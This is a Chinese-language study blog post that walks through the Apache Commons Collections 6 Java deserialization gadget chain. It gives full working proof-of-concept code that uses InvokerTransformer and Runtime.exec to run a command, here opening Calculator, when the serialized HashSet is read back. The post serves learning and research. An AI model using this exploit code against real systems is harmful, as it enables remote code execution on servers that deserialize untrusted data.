CommonsCollection6反序列化鏈學習

akka1發表於2022-04-04

CommonsCollection6

1、前置知識

1.1、HashSet

HashSet 基於 HashMap 來實現的,是一個不允許有重複元素的集合。繼承了序列化和集合

建構函式引數為空的話建立一個HashMap(),有一個引數的情況下,要建立指定容量的初始數值的雜湊集合。

我們看到add方法會呼叫map.put()方法。這個map就是HashMap()

//定義HashMap,E在泛型表示集合的元素,元素的型別為Object
private transient HashMap<E,Object> map;
......
public HashSet() {
  map = new HashMap<>();
}

......
//建立初始容量為initialCapacity的HashSet,其實就是建立HashMap集合
public HashSet(int initialCapacity) {
  map = new HashMap<>(initialCapacity);
}

......
//往HashSet新增元素,其實就是呼叫HashMap的put方法新增
public boolean add(E e) {
  return map.put(e, PRESENT)==null;
}

1.2、HashMap

HashMap 是一個雜湊表,它儲存的內容是鍵值對(key-value)對映,實現了Map 介面、Serializable介面

首先怎麼怎麼新建一個HashMap,這裡就是建立一個整型(Integer)的 key 和字串(String)型別的 value。

HashMap<Integer, String> Sites = new HashMap<Integer, String>();

新增鍵值對(key-value)的方法是put,接著上面我們新增鍵值對時也要傳輸對應的型別

 Sites.put(1, "Google");

訪問元素

通過get(key),獲取value的值

Sites.get(1)

刪除元素

使用 remove(key) 方法來刪除 指定的key 對應的鍵值,刪除所有鍵值

Sites.remove(1);刪除指定的key對應的鍵值
Sites.clear();刪除所有鍵值

計算大小

計算 HashMap 中的元素數量

Sites.size()

遍歷

通過keySet()方法獲取所有的key(鍵),也可以通過所有的valueSet(),獲取所有value(鍵值)

//輸出所有的鍵和鍵值
for (Integer i : Sites.keySet()) {
  System.out.println("key: " + i + " value: " + Sites.get(i));
}
//輸出所有的鍵值
for(String value: Sites.values()) {
  // 輸出每一個value
  System.out.print(value + ", ");
}

1.3、debug問題

關於在除錯put方法直接彈窗的解決辦法。因為idea開啟了自動tostring和展示集合物件

image-20220403234845302

關掉改這兩個選項既正常除錯

image-20220403235036927

2、POC利用

2.1、利用鏈

這次我們先看ysoseria的利用鏈

/*
	Gadget chain:
	    java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()
    by @matthias_kaiser
*/

我們發現前面的利用鏈跟我們cc5可以說是一模一樣,知道getValue(),cc5使用BadAttributeValueExpException的toString觸發

TiedMapEntry的toString觸發TiedMapEntry的getValue,以此類推。而cc6採用的是HashSet、HashMap來完成的我們來仔細分析一下

2.2、POC分析

TiedMapEntry.hashCode()

正如利用鏈那樣可以呼叫getValue()方法,

image-20220404005234548

HashMap.hash()

hash方法傳入的引數為Object型別的key,然後用key去呼叫hashcode,所以我們只要傳個惡意的TiedMapEntry作為hash()的key,就可以觸發TiedMapEntry.hashCode()。

image-20220404005724205

HashMap.put()

我們看到HashMap()的put方法,其中hash(key)的key是通過put傳輸的,所以我們呼叫HashMap的put方法時,我們惡意構造的TiedMapEntry當做key傳入就可以。

image-20220404010749208

HashSet.readObject()

看到通過readObject迴圈map.put(),從readObject讀取,其中的map就是HashMap,前置知識有學習。到這裡我們就可以嘗試自己構造鏈子了。

image-20220404011523840

2.3、poc構造

2.3.1、第一步

首先我們把cc5的鏈直接搬過來,構造一個惡意的tiedMapEntry。

Transformer[] transformers=new Transformer[]{
  new ConstantTransformer(Runtime.class),
  new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
  new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
  new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");

2.3.2、第二步

建立HashSet,把我們的tiedMapEntry作為key傳進去,通過add方法呼叫HashMap的put方法傳進去。

HashSet hashSet=new HashSet(1);
hashSet.add(tiedMapEntry);

我們來序列化,再反序列化,但是我們在序列化的時候就已經彈窗了

image-20220404014739962

網上查檢視看,找出問題點為hashSet.add(tiedMapEntry)方法,在該方法會中add呼叫了put方法,這樣就會直接觸發我們的利用鏈,那我們有啥辦法嗎?答案就是在序列化的時候才通過反射把lazymap傳進去,這樣在我們add方法後才賦值,就不會觸發我們的惡意程式碼。

image-20220404014856944

2.3.3、第三步

lazymap中用於呼叫的transform的屬性為factory

image-20220404015449173

那麼我們在呼叫HashSet的add的方法,在對LazyMap賦值時,傳入一個空的ConstantTransformer,在執行完HashSet的add方法後,通過反射修改lazyMap屬性factory的值為我們的惡意ChainedTransformer類。

package com.akkacloud;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CommonsCollection6 {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map map=new HashMap();
        Map lazyMap=LazyMap.decorate(map,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");

        HashSet hashSet=new HashSet(1);
        hashSet.add(tiedMapEntry);


        Field field = LazyMap.class.getDeclaredField("factory");
        field.setAccessible(true);
        field.set(lazyMap,chainedTransformer);

        serialize(hashSet);
//        unserialize();


    }

    public static void serialize(Object obj ) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
        objectOutputStream.writeObject(obj);
    }
    public static void unserialize() throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.ser"));
        objectInputStream.readObject();
    }

}

執行,在序列化的過程中沒有問題,但是在反序列卻沒有彈窗!繼續查詢原因

我們在hashSet的add()方法打斷點除錯一下,慢慢跟進到LazyMap的get方法,此時會判斷我們的lazymap中是否會存在key,不存在進入if,先呼叫this.factory.transform(key),此時的因為我們前面把空的ConstantTransformer賦值給LazyMap,所以Lazymap的key肯定為空的。題外知識點containsKey() 方法檢查 hashMap 中是否存在指定的 key 對應的對映關係

image-20220404021151241

但是在執行完this.factory.transform(key)後,會再一次把呼叫map的put()給key賦值,所以我們在反序列化的時候key裡面是有東西的,在!super.map.containsKey(key)時就會判斷為假,也就是有key,根本走不到this.factory.transform(key),所以我們要在HashSet的add()方法後清除lazymap的key,既呼叫Lazymap的remove(key),不可以使用Hashset的remove方法,因為此時hashset仍是我們傳入空ConstantTransformer的Lazymap,必須要呼叫我們等會要操作的lazymap才可以,去除他的鍵值對關係

image-20220404022756201

2.3.4、第四步-POC

package com.akkacloud;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CommonsCollection6 {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");

        HashSet hashSet=new HashSet(1);
        hashSet.add(tiedMapEntry);
        lazyMap.remove("test1");

        //通過反射覆蓋原有lazymap類的factory屬性,傳入我們的惡意chainedTransformer

        Field field = LazyMap.class.getDeclaredField("factory");
        field.setAccessible(true);
        field.set(lazyMap,chainedTransformer);

        serialize(hashSet);
        unserialize();



    }

    public static void serialize(Object obj ) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static void unserialize() throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.bin"));
        objectInputStream.readObject();
    }

}

image-20220404025900211

2.4、POC除錯

首先還是在Hashset處,漏洞點打下斷點

image-20220404030921621

跟進put方法,呼叫HashMap的hash方法,key為我們惡意的TiedMapEntry

image-20220404031012729

因為key為TiedMapEntry,所以呼叫的是TiedMapEntry的hashCode

image-20220404031049413

跟進TiedMapEntry的hashCode方法,繼續跟進getValue,後面的就跟我們的cc5鏈一模一樣了,就不贅述了,不懂得檢視cc1或者cc5

image-20220404031159585

跟進getValue方法,繼續呼叫get方法

image-20220404031318167

進入LazyMap的get方法,此時的判斷就是我們構造中去除lazymap的鍵值對關係的原因

image-20220404031442064

可以已經成功進入到if,然後呼叫ChainedTransformer的transform

image-20220404031609658

後面迴圈就是迴圈執行我們的惡意程式碼了

2.5、思維導圖

image-20220404032608477

參考連結

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections6.java

https://www.cnblogs.com/nice0e3/p/13892510.html

https://www.bilibili.com/video/BV1yP4y1p7N7/?spm_id_from=333.788

相關文章